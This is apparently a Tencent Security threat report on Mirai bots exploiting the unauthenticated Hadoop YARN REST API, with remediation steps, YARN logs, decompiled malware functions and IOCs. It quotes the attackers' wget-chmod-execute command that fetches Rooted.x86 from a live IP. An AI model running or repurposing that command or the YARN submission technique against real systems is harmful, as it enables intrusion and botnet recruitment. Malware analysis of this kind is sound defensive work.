

Mirai botnet uses unauthorized access vulnerability in Hadoop Yarn REST API

2020-11-13 10:03:19  
The Tencent Security Threat Intelligence Center detected that the Mirai botnet used the Apache Hadoop Yarn resource management system REST API unauthorized access vulnerability to invade cloud hosts. The Mirai Trojans that invaded and spread will issue commands through the C&C server to conduct DDoS attacks.

1. Background

The Tencent Security Threat Intelligence Center detected that the Mirai botnet used the Apache Hadoop Yarn resource management system REST API unauthorized access vulnerability to invade cloud hosts. The Mirai Trojans that invaded and spread will issue commands through the C&C server to conduct DDoS attacks.

As early as 2018 , Tencent Yunding Lab disclosed a case of malicious software exploiting unauthorized vulnerabilities in the Hadoop Yarn REST API to invade mining (<https://www.freebuf.com/vuls/173638.html> ). Two weeks ago, the Tencent Security Threat Intelligence Center discovered that the latest variant of the "Eternal Blue" downloader Trojan also used this vulnerability to spread attacks (<https://mp.weixin.qq.com/s/953ZHaf8jLgYxB3tWSoDQ> ). It can be seen that due to the lack of security awareness of the operation and maintenance personnel when creating the container cluster, and the failure to configure the security of Hadoop Yarn , more and more hackers use this vulnerability to invade cloud servers.

Tencent security experts recommend that enterprise operation and maintenance personnel use the following steps to troubleshoot the vulnerability hardening system:

- 1. Troubleshoot and clean up viruses
  - 1 ) Kill abnormal processes with random names;
  - 2 ) Check the /tmp and /var/tmp directories, delete Rooted.x86 , vcimanagement.x86 , nigga.x86 and other abnormal files;
  - 3 ) Check the YARN log, confirm the abnormal application , and delete it.

2. Vulnerability investigation

Query whether the Apache Hadoop YARN resource management system has a default port to the outside world, and find the following check items in the yarn-site.xml configuration file:

- 1 ) Check "yarn.resourcemanager.webapp.address" , which is the external Web UI address of ResourceManager . The user can view various information of the cluster in the browser through this address, the default is 8088 ;
- 2 ) Check "yarn.resourcemanager.webapp.https.address", which is the HTTPS address of ResourceManager's external Web UI. The user can view various information of the cluster in the browser through this address, and the default value is 8090.
- 3. Security reinforcement
  - 1 ) Configure access policies through iptables or security groups to restrict access to ports 8088 and 8090 ;
  - 2 ) If it is not necessary, do not open the interface on the public network and change it to local or intranet calls;
  - 3 ) Upgrade Hadoop to version 2.x or higher, and enable Kerberos authentication to prohibit anonymous access.

The response list of Tencent security products against the Mirai botnet variants is as follows:

application Scenes	Safety products	solution
Prestige Threaten situation Report	Tencent T-Sec  Threat Intelligence Cloud Check Service  ( SaaS )	1 ) The Mirai botnet related IOCs have been put into the database.  Various types of security products can improve threat identification capabilities through the interfaces provided by the "Threat Intelligence Cloud Check Service". Refer to : <a href="https://cloud.tencent.com/product/tics">https://cloud.tencent.com/product/tics</a>
	Tencent T-Sec  Advanced threat tracing system	1 ) The information and intelligence related to the Mirai botnet has been searched.  The network management system can analyze the log through the threat tracing system, conduct clue research and judgment, and trace the source of network intrusion. For more information about T-Sec Advanced Threat Traceability System, please refer to: <a href="https://cloud.tencent.com/product/atts">https://cloud.tencent.com/product/atts</a>
Cloud native security Protection	Cloud firewall  ( Cloud Firewall , CFW )	Threat detection and active interception based on network traffic, has supported:  1 ) Identification and detection of IOCs associated with the Mirai botnet ; 2 ) Detect unauthorized exploitation of Hadoop Yarn REST API ;  For more information about Cloud Firewall, please refer to: <a href="https://cloud.tencent.com/product/cfw">https://cloud.tencent.com/product/cfw</a>
	Tencent T-Sec host security  ( Cloud Workload Protection , CWP )	1 ) It has supported the detection and killing of Trojan horse programs related to the Mirai botnet; 2 ) Support detection of unauthorized exploitation of Hadoop Yarn REST API .  Tencent Host Security (Cloud Mirror) provides anti-virus, anti-intrusion, vulnerability management, baseline management, etc. for terminals on the cloud. For more information about T-Sec host security, please refer to: <a href="https://cloud.tencent.com/product/cwp">https://cloud.tencent.com/product/cwp</a>

	Tencent T-Sec Security Operation Center	<p>A cloud security operation platform based on customer cloud security data and Tencent security big data. It has been connected to Tencent Host Security (Cloud Mirror), Tencent Yuzhi and other product data import, to provide customers with vulnerability intelligence, threat discovery, incident handling, baseline compliance, leakage monitoring, risk visualization and other capabilities.</p> <p>For more information about Tencent T-Sec Security Operations Center, please refer to: <a href="https://s.tencent.com/product/soc/index.html">https://s.tencent.com/product/soc/index.html</a></p>
Non-cloud enterprise security protection	Tencent T-Sec Advanced Threat Detection System (Tencent Royal World)	<p>1 ) The network communication between the Mirai botnet Trojan and the server has been detected through the protocol .</p> <p>For more information about T-Sec Advanced Threat Detection System, please refer to: <a href="https://cloud.tencent.com/product/nta">https://cloud.tencent.com/product/nta</a></p>

For more product information, please refer to the official website of Tencent Security <https://s.tencent.com/>

## 2. Detailed analysis

Hadoop is a distributed system infrastructure developed by the Apache Foundation. YARN is a unified resource management platform on the hadoop system. Its main function is to realize the unified management and scheduling of cluster resources. The MapReduce computing framework can be used as an application to run on On the YARN system, resources are managed through YARN . Users can submit specific applications to YARN for execution, which allows execution of related system commands.

YARN provides REST APIs that are open in 8088 and 8090 by default (the former is the default) allowing users to directly use the API to perform related application creation, task submission and execution, etc. If the configuration is improper, the REST API will be opened on the public network and cause unauthorized access The problem is that an attacker can execute code remotely without authorization.

By scanning port 8088 exposed on the public network, the attacker found a cluster that did not enable specific user security authentication, and submitted the application through the YARN RESET API . The user who submitted the task was named dr.who .

## All Applications

Cluster

About

Nodes

Applications

NEW

NEW\_SAVING

SUBMITTED

ACCEPTED

RUNNING

FINISHED

FAILED

KILLED

Scheduler

Tools

Cluster Metrics

Apps Submitted	208	Apps Pending	0	Apps Running	2	Apps Completed	206	Containers Running	2	Memory Used	2 GB	Memory Total	32 GB
----------------	-----	--------------	---	--------------	---	----------------	-----	--------------------	---	-------------	------	--------------	-------

Cluster Nodes Metrics

Active Nodes	2	Decommissioning Nodes	0	Decommissioned Nodes	2	Lost Nodes	0
--------------	---	-----------------------	---	----------------------	---	------------	---

User Metrics for dr.who

Apps Submitted	208	Apps Pending	0	Apps Running	2	Apps Completed	206	Containers Running	2	Containers Pending	0	Containers Reserved	0	Memory Used	2 GB	Memory Total	0 B
----------------	-----	--------------	---	--------------	---	----------------	-----	--------------------	---	--------------------	---	---------------------	---	-------------	------	--------------	-----

Show 20 entries

ID	User	Name	Application Type	Queue	StartTime	FinishTime	State	FinalStatus	Running Containers	Allocated C...
application_1604813177689_0227	dr.who	get-shell	YARN	root.dr_dot_who	Mon Nov 9 16:19:35 +0800 2020	N/A	ACCEPTED	UNDEFINED	1	1
application_1604813177689_0226	dr.who	get-shell	YARN	root.dr_dot_who	Mon Nov 9 16:17:20 +0800 2020	N/A	ACCEPTED	UNDEFINED	1	1
application_1604813177689_0225	dr.who	get-shell	YARN	root.dr_dot_who	Mon Nov 9 16:03:30 +0800 2020	Mon Nov 9 16:11:41 +0800 2020	KILLED	KILLED	N/A	N/A
application_1604813177689_0224	dr.who	get-shell	YARN	root.dr_dot_who	Mon Nov 9 16:00:02 +0800 2020	Mon Nov 9 16:11:23 +0800 2020	KILLED	KILLED	N/A	N/A
application_1604813177689_0223	dr.who	get-shell	YARN	root.dr_dot_who	Mon Nov 9 15:58:21 +0800 2020	Mon Nov 9 16:11:46 +0800 2020	KILLED	KILLED	N/A	N/A
application_1604813177689_0222	dr.who	get-shell	YARN	root.dr_dot_who	Mon Nov 9 16:11:52	Mon Nov 9 16:11:52	KILLED	KILLED	N/A	N/A

Execute default\_container\_executor.sh when the task starts :

```

2020-11-09 11:19:41,359 INFO org.apache.hadoop.yarn.server.nodemanager.recovery.NMLevelDbStateStoreService: Starting full compaction cycle
2020-11-09 11:19:41,359 INFO org.apache.hadoop.yarn.server.nodemanager.recovery.NMLevelDbStateStoreService$LevelDbLogger: Level-0 table #1014: started
2020-11-09 11:19:41,367 INFO org.apache.hadoop.yarn.server.nodemanager.recovery.NMLevelDbStateStoreService$LevelDbLogger: Level-0 table #1014: 4022 bytes OK
2020-11-09 11:19:41,371 INFO org.apache.hadoop.yarn.server.nodemanager.recovery.NMLevelDbStateStoreService$LevelDbLogger: Delete type=0 #1010
2020-11-09 11:19:41,371 INFO org.apache.hadoop.yarn.server.nodemanager.recovery.NMLevelDbStateStoreService$LevelDbLogger: Manual compaction at level-0 from (begin) .. (end); will
appatempt_1604813177689_0195_000002 @ 48743 : 1
2020-11-09 11:19:41,371 INFO org.apache.hadoop.yarn.server.nodemanager.recovery.NMLevelDbStateStoreService$LevelDbLogger: Compacting 100 + 101 files
2020-11-09 11:19:41,379 INFO org.apache.hadoop.yarn.server.nodemanager.recovery.NMLevelDbStateStoreService$LevelDbLogger: Generated table #1015: 2474 keys, 164367 bytes
2020-11-09 11:19:41,379 INFO org.apache.hadoop.yarn.server.nodemanager.recovery.NMLevelDbStateStoreService$LevelDbLogger: Compacted 100 + 101 files => 164367 bytes
2020-11-09 11:19:41,383 INFO org.apache.hadoop.yarn.server.nodemanager.recovery.NMLevelDbStateStoreService$LevelDbLogger: compacted to: files[ 0 1 0 0 0 0 0 ]
2020-11-09 11:19:41,384 INFO org.apache.hadoop.yarn.server.nodemanager.recovery.NMLevelDbStateStoreService$LevelDbLogger: Delete type=2 #1012
2020-11-09 11:19:41,384 INFO org.apache.hadoop.yarn.server.nodemanager.recovery.NMLevelDbStateStoreService$LevelDbLogger: Delete type=2 #1014
2020-11-09 11:19:41,384 INFO org.apache.hadoop.yarn.server.nodemanager.recovery.NMLevelDbStateStoreService$LevelDbLogger: Manual compaction at level-0 from 'NMTokens/appatempt_1
); will stop at (end)
2020-11-09 11:19:41,384 INFO org.apache.hadoop.yarn.server.nodemanager.recovery.NMLevelDbStateStoreService: Full compaction cycle completed in 25 msec
2020-11-09 11:29:38,971 INFO org.apache.hadoop.yarn.server.nodemanager.containermanager.ContainerManagerImpl: Start request for container_1604813177689_0198_02_000001 by user dr.
2020-11-09 11:29:38,971 INFO org.apache.hadoop.yarn.server.nodemanager.containermanager.ContainerManagerImpl: Creating a new application Reference for app application_16048131776
2020-11-09 11:29:38,971 INFO org.apache.hadoop.yarn.server.nodemanager.containermanager.Application: Application application_1604813177689_0198 transitioned from NEW
2020-11-09 11:29:38,971 INFO org.apache.hadoop.yarn.server.nodemanager.NMAuditLogger: USER=dr.who IP= OPERATION=Start Container Request TARGET=ContainerManagerImpl
application_1604813177689_0198 CONTAINERID=container_1604813177689_0198_02_000001
2020-11-09 11:29:38,978 INFO org.apache.hadoop.yarn.server.nodemanager.containermanager.logaggregation.AppLogAggregatorImpl: rollingMonitorInterval is set as -1. The log rolling
be aggregated after this application is finished.
2020-11-09 11:29:38,985 INFO org.apache.hadoop.yarn.server.nodemanager.containermanager.application.Application: Adding container_1604813177689_0198_02_000001 to application appl
2020-11-09 11:29:38,985 INFO org.apache.hadoop.yarn.server.nodemanager.containermanager.application.Application: Application application_1604813177689_0198 transitioned from INIT
2020-11-09 11:29:38,985 INFO org.apache.hadoop.yarn.server.nodemanager.containermanager.container.Container: Container container_1604813177689_0198_02_000001 transitioned from NEW
2020-11-09 11:29:38,985 INFO org.apache.hadoop.yarn.server.nodemanager.containermanager.AuxServices: Got event CONTAINER_INIT for appid application_1604813177689_0198
2020-11-09 11:29:38,994 INFO org.apache.hadoop.yarn.server.nodemanager.containermanager.container.Container: Container container_1604813177689_0198_02_000001 transitioned from I
2020-11-09 11:29:38,995 INFO org.apache.hadoop.yarn.server.nodemanager.DefaultContainerExecutor: launchContainer: [bash, /yarn/nm/usercache/dr.who/appcache/application_1604813177
container_1604813177689_0198_02_000001/default_container_executor.sh]

```

The default\_container\_executor.sh contains malicious commands:

```
/bin/bash -c wget 104.168.166.218/bins/Rooted.x86; chmod 777 *; ./Rooted.x86 Rooted.Output
```

In this way, the Mirai botnet Trojan Rooted.x86 can be downloaded and executed on the server .

```

export HOME="/home/"
export CONTAINER_ID="container_1604813177689_0222_02_000001"
export MALLOC_ARENA_MAX="4"
exec /bin/bash -c "wget 104.168.166.218/bins/Rooted.x86; chmod 777 *; ./Rooted.x86 Rooted.Output"
hadoop_shell_errorcode=$?
if [ $hadoop_shell_errorcode -ne 0 ]
then

```

The main function of Rooted.x86 is to communicate with the C&C address and receive remote commands to initiate DDoS attacks on the target IP .

```

1 int fun_connect_CNCC()
2 {
3     sub_804FB80(1u);
4     dword_80541E4 = sub_80508C6((int)"104.168.166.218");
5     word_80541E2 = *((_WORD *)sub_804FB80(1, 0));
6     return fun_string_decrypt(1u);
7 }

```

```

1 int __cdecl fun_string_decrypt(unsigned __int8 a1)
2 {
3     int *v1; // ecx@1
4     int result; // eax@1
5     char v3; // bp@2
6     int v4; // edx@2
7     unsigned int v5; // edi@2
8     unsigned int v6; // esi@2
9     int v7; // eax@3
10    char v8; // [sp+0h] [bp-2Ch]@2
11
12    v1 = &dword_8054200[2 * a1];
13    result = dword_8054034;
14    if ( *((_WORD *)v1 + 2) )
15    {
16        v3 = dword_8054034;
17        v4 = 0;
18        v5 = (unsigned int)dword_8054034 >> 8;
19        v8 = BYTE3(dword_8054034);
20        v6 = (unsigned int)dword_8054034 >> 16;
21        do
22        {
23            *((_BYTE *)v1 + v4) ^= v3;
24            *((_BYTE *)v1 + v4) ^= v5;
25            *((_BYTE *)v1 + v4) ^= v6;
26            v7 = v4++;
27            *((_BYTE *)v1 + v7) ^= v8;
28            result = v1[1] & 0xFFFF;
29        } while ( result > v4 );
30    }
31    return result;
32 }
33

```

Direction	Typ	Address	Text
Up	p	sub_804BED0+FE	call fun_string_decrypt
Up	p	sub_804BED0+158	call fun_string_decrypt
Up	p	sub_804D830+36	call fun_string_decrypt
Up	p	sub_804D870+B3	call fun_string_decrypt
Up	p	sub_804D870+BF	call fun_string_decrypt
Up	p	sub_804E110+9E	call fun_string_decrypt
Up	p	sub_804E4D0+93B	call fun_string_decrypt
Up	p	sub_804E4D0+B43	call fun_string_decrypt
Up	p	sub_804E4D0+BFA	call fun_string_decrypt
Up	p	sub_804E4D0+CB1	call fun_string_decrypt
Up	p	sub_804E4D0+D97	call fun_string_decrypt
Up	p	sub_804E4D0+FF9	call fun_string_decrypt
Up	p	sub_804E4D0+1072	call fun_string_decrypt
Up	p	sub_804E4D0+112B	call fun_string_decrypt
Up	p	sub_804E4D0+1137	call fun_string_decrypt
Up	p	sub_804E4D0+11E7	call fun_string_decrypt
Up	p	sub_804E4D0+1243	call fun_string_decrypt
Up	p	sub_804E4D0+1252	call fun_string_decrypt
Up	p	sub_804E4D0+125E	call fun_string_decrypt
Up	p	sub_804E4D0+12C0	call fun_string_decrypt
Up	p	sub_804E4D0+1301	call fun_string_decrypt
Up	p	sub_804E4D0+14B3	call fun_string_decrypt
Up	p	sub_804E4D0+14BF	call fun_string_decrypt
Up	p	sub_804E4D0+153B	call fun_string_decrypt

## IOCs

### URL

http[:]//66.70.156.107/Cobalt.x86

http[:]//66.70.156.107/bins/vcimanagement.x86

http[:]//66.70.156.107/bins/nigga.x86

http[:]//66.70.156.107/bins/hoho.x86

http[:]//104.168.166.218/bins/Rooted.x86

### MD5

4977f1fdd6f0c70f74cd41ceb973462c

f8f7e6af3d136b6937507716294765d

82ce8488909d0e5814a72c807b8d0adb

b1bebf0623b9ebe6dc91dd7efc9acdd9

212bb362df6eefc059349bcb9bc43248

## Reference link:

1. Build a Hadoop Yarn cluster with Kerberos authentication enabled

[http://support.supermap.com.cn/DataWarehouse/WebDocHelp/iServer/server\\_service\\_management/spark\\_cluster/yarn\\_kerberose\\_using.htm](http://support.supermap.com.cn/DataWarehouse/WebDocHelp/iServer/server_service_management/spark_cluster/yarn_kerberose_using.htm)

2. Notification of unauthorized vulnerability in REST API of Apache Hadoop Yarn resource management system

<https://bbs.qqcloud.com/thread-50090-1-1.html>

3. The Mirai botnet uses weak password blasting to attack tens of thousands of Linux servers

<https://s.tencent.com/research/report/1093.html>